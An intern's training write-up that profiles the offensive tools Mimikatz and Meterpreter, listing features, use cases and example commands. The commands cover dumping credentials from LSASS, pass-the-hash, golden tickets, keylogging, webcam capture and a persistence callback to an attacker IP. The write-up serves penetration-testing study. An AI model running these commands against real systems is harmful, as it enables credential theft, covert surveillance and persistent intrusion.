Intern Id – 298

Tools POC - Mimikatz

Tool Name:

Mimikatz

History:

Developed by Benjamin Delpy (@gentilkiwi), Mimikatz started as a personal project to understand Windows authentication mechanisms. Over time, it evolved into one of the most powerful post-exploitation tools used in penetration testing and red teaming.

Description:

Mimikatz is an open-source Windows utility that enables the extraction of plaintext passwords, hashes, PIN codes, and Kerberos tickets from memory.

What Is This Tool About?:

Mimikatz demonstrates weaknesses in the Windows authentication protocols and memory handling. It's widely used for credential dumping and demonstrating privilege escalation and lateral movement techniques.

Key Characteristics / Features:

- Extracts plaintext credentials from LSASS memory
- Pass-the-Hash and Pass-the-Ticket support
- Kerberos ticket extraction and injection (Golden Ticket, Silver Ticket)
- Overpass-the-Hash attacks
- Windows Vault and DPAPI secrets extraction
- Module-based structure for various attacks
- Support for command-line scripting
- Ability to run in-memory (fileless execution)
- Works on multiple Windows versions
- Supports sekurlsa, crypto, kerberos, and logonpasswords modules
- Exposes credential material left in RAM
- Bypass UAC with token manipulation
- Integration with Metasploit and Cobalt Strike

- Open source and actively maintained - Works with x86 and x64 architectures

Types / Modules Available:

- sekurlsa: Extract credentials from memory
- kerberos: Ticket operations
- crypto: Certificate and private key extraction
- dpapi: Extract protected secrets
- vault: Windows Vault decryption
- token: Token manipulation
- logonpasswords: Basic credential dump

How Will This Tool Help?:

Credential harvesting during post-exploitation, lateral movement by reusing credentials or tickets, bypassing security boundaries in red teaming, demonstrating risks in poor credential hygiene, aiding blue teams in testing defenses.

Proof of Concept (PoC) Images:

(Insert screenshots showing plaintext credential dumps, ticket extraction, token manipulation, and commandline output)

15-Liner Summary:

- Extracts credentials from memory
- Works on modern Windows OS
- Offers various credential attack modules
- Exposes Kerberos vulnerabilities
- Supports Golden/Silver ticket attacks
- Command-line based
- Actively maintained
- Used in red teaming and security assessments
- Open-source and customizable
- Token impersonation possible
- Supports in-memory execution
- Works with C2 frameworks
- Useful in lab simulations and demos
- Helps identify Windows security weaknesses

- Popular in offensive security toolsets

Time to Use / Best Case Scenarios:

After gaining local or admin access, during lateral movement planning, while testing credential exposure in RAM, for demonstrating insecure configurations, to simulate APT-style attacks.

When to Use During Investigation:

To simulate attacker behavior, red team post-exploitation, password policy and memory hygiene audits, insider threat simulation, credential reuse vulnerability demonstration.

Best Person to Use This Tool & Required Skills:

Best User: Red Teamer / Penetration Tester / Threat Emulation Expert

Required Skills:

- Windows internals and memory handling knowledge
- Command-line proficiency
- Understanding of authentication protocols (NTLM, Kerberos)
- Familiarity with privilege escalation techniques

Flaws / Suggestions to Improve:

Can be detected by modern EDRs, not stealthy unless obfuscated, limited use on non-Windows systems, add built-in obfuscation options, improve module documentation.

Good About the Tool:

Powerful and versatile, open source with active community, detailed credential and token extraction, extensively documented in security research, works well in labs and real-world scenarios.

Example Commands for Mimikatz :

- Dump credentials from LSASS memory: sekurlsa::logonpasswords
- Extract Kerberos tickets (TGT/TGS):

  sekurlsa::tickets /export
- Pass-the-Hash attack:

  sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<NTLM_HASH> /run:cmd
- Generate Golden Ticket:

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-<domain-SID> /krbtgt:<krbtgt_hash> /id:500 /ticket:golden.kirbi

- Overpass-the-Hash (pass-the-key): sekurlsa::pth /user:User /domain:corp.local /aes256:<AES_KEY> /run:cmd - Extract DPAPI secrets: dpapi::cred /in:C:\Users\User\AppData\Roaming\Microsoft\Credentials\XXXX
- List tokens: token::list
- Impersonate a token: token::elevate

Tools POC : Meterpreter

Tool Name

Meterpreter

History

Meterpreter is a powerful payload within the Metasploit Framework, developed by H.D. Moore and the Rapid7 team. It evolved to provide post-exploitation capabilities beyond simple shell access.

Description

Meterpreter is a dynamic, in-memory payload that provides an interactive shell and extensive capabilities for post-exploitation tasks, including file manipulation, privilege escalation, network pivoting, and more.

What Is This Tool About?

Meterpreter operates in memory and avoids writing to disk, making it stealthy. It allows attackers to maintain control of a compromised system and perform advanced operations interactively or via scripts.

Key Characteristics / Features

- Runs entirely in memory (fileless)
- Encrypted communication
- Supports Windows, Linux, macOS, Android
- Integrated into Metasploit

- Post-exploitation modules
- Scriptable with Meterpreter scripts and Python
- Can migrate to other processes
- Captures keystrokes, screenshots, webcam
- Privilege escalation tools built-in
- Can interact with tokens and processes
- Pivoting and tunneling support
- Download/upload files silently
- Process injection capabilities
- Shellcode execution support
- Maintains session persistence

Types / Modules Available

- Standard API commands (sysinfo, ps, getuid, etc.)
- Post modules (hashdump, getsystem, etc.)
- Extension modules (stdapi, priv, incognito, etc.)
- Pivoting and tunneling (portfwd, route)
- Script execution (migrate, persistence) - Keylogger, screenshot, webcam modules

How Will This Tool Help?

Meterpreter allows comprehensive post-exploitation control, data exfiltration, system manipulation, and stealthy operations on compromised machines.

Proof of Concept (PoC) Images

(Insert screenshots of Meterpreter shell, screenshot capture, keylogging, and process migration)

15-Liner Summary

- Interactive post-exploitation shell
- Fileless execution in memory
- Encrypted communication with attacker
- Modular and extensible
- Integrated with Metasploit
- Capture screenshots and keystrokes
- Migrate across processes
- Supports privilege escalation

- Cross-platform compatibility
- Supports pivoting and tunneling
- Built-in system command execution
- Record webcam and mic feeds
- No need for physical access
- Avoids most traditional antivirus tools
- Can be scripted for automation

Time to Use / Best Case Scenarios

After successful exploitation, for maintaining access, during lateral movement, while extracting data, or for system surveillance.

When to Use During Investigation

Red team operations, ethical hacking engagements, penetration testing, malware behavior simulation, lateral movement exercises.

Best Person to Use This Tool & Required Skills Best

User: Red Teamer / Penetration Tester / Ethical Hacker

Required Skills:

- Familiarity with Metasploit
- Knowledge of operating systems and internals
- Understanding of privilege escalation and pivoting
- Experience with command-line interfaces

Flaws / Suggestions to Improve

Can be detected by modern EDR/XDR, requires a stager or dropper, needs persistence to survive reboot, improve integration with cloud environments.

Good About the Tool

Highly flexible and powerful, fileless execution for stealth, tightly integrated with Metasploit, rich command set, excellent for training and demonstrations

Example Commands for Meterpreter:

-Get system info:

sysinfo

- Dump password hashes:

hashdump

- Capture a screenshot:

screenshot - Start

keylogger: keyscan_start -

Dump captured keystrokes:

keyscan_dump

- Migrate to another process:

ps migrate <PID> -

Enable persistence:

run persistence -X -i 10 -p 4444 -r <attacker_IP>

- Record from webcam: webcam_snap

- Upload a file:

upload /path/to/file.txt C:\Users\Victim\Desktop\file.txt

- Pivoting with port forwarding:

portfwd add -l 8080 -p 80 -r 192.168.1.10